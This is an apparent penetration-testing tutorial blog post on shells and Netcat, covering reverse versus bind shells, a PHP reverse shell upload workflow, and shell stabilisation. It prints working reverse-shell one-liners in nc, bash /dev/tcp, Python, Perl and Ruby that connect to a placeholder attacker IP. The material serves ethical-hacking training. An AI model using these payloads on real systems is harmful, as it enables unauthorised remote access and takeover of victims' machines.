Post

Shells & Netcat — The Foundation of Remote Access

Understand what shells are, the difference between reverse and bind shells, and how to use Netcat to establish remote access — a core skill for any penetration tester.

Shells & Netcat — The Foundation of Remote Access

Shells and Netcat Banner

When a penetration tester talks about “getting a shell,” they mean gaining the ability to run commands on a remote machine as if they were sitting at its terminal. It is one of the most fundamental outcomes of a successful exploitation and the starting point for everything that follows — privilege escalation, lateral movement, data exfiltration.

This post covers what a shell is, the two main shell types you will encounter (reverse and bind), and how to use Netcat to set them up. We will also cover the PHP reverse shell and the bash one-liner — two practical techniques you will reach for regularly.

Prerequisites: Basic comfort with the Linux terminal and an understanding of TCP/IP connections. If you have followed the Scanning & Enumeration posts in this series, you are ready.


What Is a Shell?

A shell is a program that takes commands from the user and passes them to the operating system to execute. On Linux, the most common shells are /bin/bash and /bin/sh. On Windows, you are looking at cmd.exe or PowerShell.

In an exploitation context, “getting a shell” means you have established remote command execution on the target — you can type commands and have them run on the victim machine, without physical access to it. That remote access is delivered over a network connection, and the session that carries it is called a shell session.

There are two ways to establish that connection, and they differ in one important way: who initiates it.


Reverse Shell vs Bind Shell

Bind Shell

In a bind shell, the target machine opens a port and listens, binding a shell to it. The attacker then connects inward to that port to receive the shell.

1
Attacker  ──── connects to ──▶  Victim (listening, shell bound to open port)

The problem with this in practice is that the victim machine almost always sits behind a firewall that blocks unsolicited inbound connections. Most networks are configured to allow outbound traffic freely while restricting what can connect in from the outside. A bind shell requires the attacker to reach the victim on that open port, which the firewall will typically block.

Bind shells still have their place in internal engagements or when you have direct network access to the target, but they are the less common choice for a reason.

Reverse Shell

In a reverse shell, the victim machine initiates an outbound connection back to the attacker, who is waiting with a listener. The shell rides on that outbound connection.

1
Victim  ──── connects out to ──▶  Attacker (listening, receives the shell)

This is by far the more common technique in real engagements. Firewalls are typically permissive with outbound traffic — the assumption is that machines inside the network need to reach out to the internet to browse, update, and communicate. A reverse shell exploits that trust. The victim reaches out, the firewall lets it through, and the attacker receives a shell.

The practical implication: when you are setting up for exploitation, you will almost always want a reverse shell.


Netcat — The Swiss Army Knife of Networking

Netcat (nc) is a lightweight utility for reading and writing raw data over TCP or UDP connections. It can operate as either a listener or a client, which makes it the go-to tool for manually establishing shells, testing connectivity, transferring files, or grabbing service banners.

Flag Reference

FlagPurpose
-lListen mode — wait for an incoming connection rather than initiating one
-nNumeric-only — skip DNS resolution, speeds things up
-vVerbose — print connection status and info
-pSpecify the local port to listen on
-eExecute a program upon connection and pipe its I/O over the socket (creates the actual shell)

Note on -e: Some modern netcat builds ship with -e removed for security reasons — notably the OpenBSD variant. On Kali Linux, the traditional netcat (netcat-traditional) typically retains it. If -e is unavailable, use the bash one-liner method covered later in this post.


Setting Up a Reverse Shell with Netcat

This is the most common scenario. The attacker starts a listener first, then triggers execution on the victim which causes it to connect back.

Step 1 — Start the listener on the attacker machine:

1
nc -lnvp 4444
  • -l — listen mode
  • -n — no DNS lookups
  • -v — verbose output so you see when the connection arrives
  • -p 4444 — listen on port 4444 (use any available port)

Step 2 — Run this command on the victim machine:

1
nc 10.10.10.10 4444 -e /bin/sh

Replace 10.10.10.10 with your attacker IP. As soon as this runs, the victim connects out to your listener and hands over a /bin/sh session.

This step assumes you have already found a way to execute commands on the target — via a vulnerability, a misconfigured service, a file upload, or any other foothold. The netcat command is the payload you deliver through that foothold.


Setting Up a Bind Shell with Netcat

Here the victim listens and the attacker connects in.

Step 1 — Run this on the victim machine:

1
nc -lvp 4444 -e /bin/sh

The victim is now listening on port 4444 and will hand over a shell to whoever connects.

Step 2 — Connect from the attacker machine:

1
nc 10.10.10.20 4444

Replace 10.10.10.20 with the victim’s IP. You now have shell access.


Quick Comparison

 Bind ShellReverse Shell
Who listens?VictimAttacker
Who connects?Attacker → VictimVictim → Attacker
Firewall riskHigh — inbound connections are usually blockedLow — outbound connections are usually allowed
Typical useInternal engagements, controlled lab environmentsMost real-world external engagements

PHP Reverse Shell

When you have the ability to upload or execute a PHP file on a web server — via a vulnerable file upload, an exposed admin panel, or write access to the web root — a PHP reverse shell turns that into full command execution quickly.

The most widely used script is the pentestmonkey PHP reverse shell, which comes pre-installed on Kali at:

1
/usr/share/webshells/php/php-reverse-shell.php

Workflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. Copy the script so you are not editing the original template
cp /usr/share/webshells/php/php-reverse-shell.php shell.php

# 2. Edit the two key lines near the top of the file
#    Set your attacker IP and the port you will listen on
#    $ip = '10.10.10.10';
#    $port = 4444;
nano shell.php

# 3. Start your listener before uploading
nc -lnvp 4444

# 4. Upload shell.php to the target via whatever access you have
#    (file upload vulnerability, FTP, SMB share, etc.)

# 5. Trigger execution by requesting the file over HTTP
curl http://target.com/uploads/shell.php
# or simply visit the URL in a browser

When the web server processes the PHP file, it connects back to your listener — this is a reverse shell, so it benefits from the same firewall bypass advantages described above.

A few things to keep in mind:

  • The shell runs as the web server’s user — typically www-data or similar, which is a low-privilege account. This is a foothold, not an end point. Privilege escalation will be your next step.
  • The single most common reason this does not work is forgetting to update the IP and port. Always double-check those two lines before uploading.
  • Make sure your listener is running before you trigger the file. If the web server cannot connect back, the request will hang or time out.

Bash One-Liner Reverse Shell

Many Linux systems have bash installed with built-in TCP support, which means you can open a reverse shell with nothing but bash itself — no netcat, no PHP, no additional tools required.

On the attacker machine — start the listener:

1
nc -lnvp 8080

On the victim machine — run this:

1
bash -i >& /dev/tcp/10.10.10.10/8080 0>&1

Breaking it down

PartWhat it does
bash -iStarts an interactive bash session
>& /dev/tcp/10.10.10.10/8080Redirects stdout and stderr into bash’s /dev/tcp pseudo-device, which opens a TCP connection to the attacker — this is a built-in bash feature, not a real file path
0>&1Redirects stdin to follow the same connection, so all input and output flows over the single TCP socket

The result is an interactive bash session whose stdin, stdout, and stderr are all tied to your listener — a fully functional reverse shell with no dependencies.

Caveats:

  • Requires bash to have been compiled with /dev/tcp support. Most standard Linux distributions include it, but minimal or hardened builds (and non-bash shells like dash or BusyBox sh) may not.
  • If it fails silently, try the netcat approach instead, or check which shell is actually running on the target with echo $SHELL.

Quick Reference — Reverse Shell One-Liners by Language

When neither bash nor netcat are available, other interpreters commonly found on Linux systems can produce the same result. The principle is identical in each case: open a connection to the attacker’s listener, then redirect the shell’s stdin/stdout/stderr to that socket.

Python 3:

1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 2:

1
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Perl:

1
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

Ruby:

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

When choosing which one to use, check what is installed on the target first. A quick which python3 python perl ruby will tell you what is available without making noise.


Stabilising Your Shell

Raw netcat shells are functional but uncomfortable to work with — no tab completion, Ctrl+C kills the session instead of the running command, and the terminal does not resize properly. A common first step after catching a shell is to stabilise it.

The quickest method using Python:

1
2
3
4
5
6
7
8
# Run on the victim, inside your raw shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Then background the shell with Ctrl+Z and run on your attacker machine
stty raw -echo; fg

# Hit Enter twice, then set the terminal type
export TERM=xterm

This gives you a fully interactive TTY with proper job control and Ctrl+C behaviour.


Summary

TechniqueWhen to use
Netcat reverse shellDefault choice when nc is available and you can execute commands on the target
Netcat bind shellInternal engagements or when you cannot receive inbound connections on the attacker side
PHP reverse shellWhen you have file upload or write access to a web root
Bash one-linerWhen netcat is not available but bash is
Python / Perl / RubyFallback when neither bash /dev/tcp nor nc is available

The next post in this series covers Payloads — Staged vs Non-Staged, where we move from manual shell techniques to generating payloads with msfvenom and understanding how staged payloads differ from self-contained ones.


Series: Exploitation Basics
Course reference: PNPT (TCM Security) — Practical Ethical Hacking

This post is licensed under CC BY 4.0 by the author.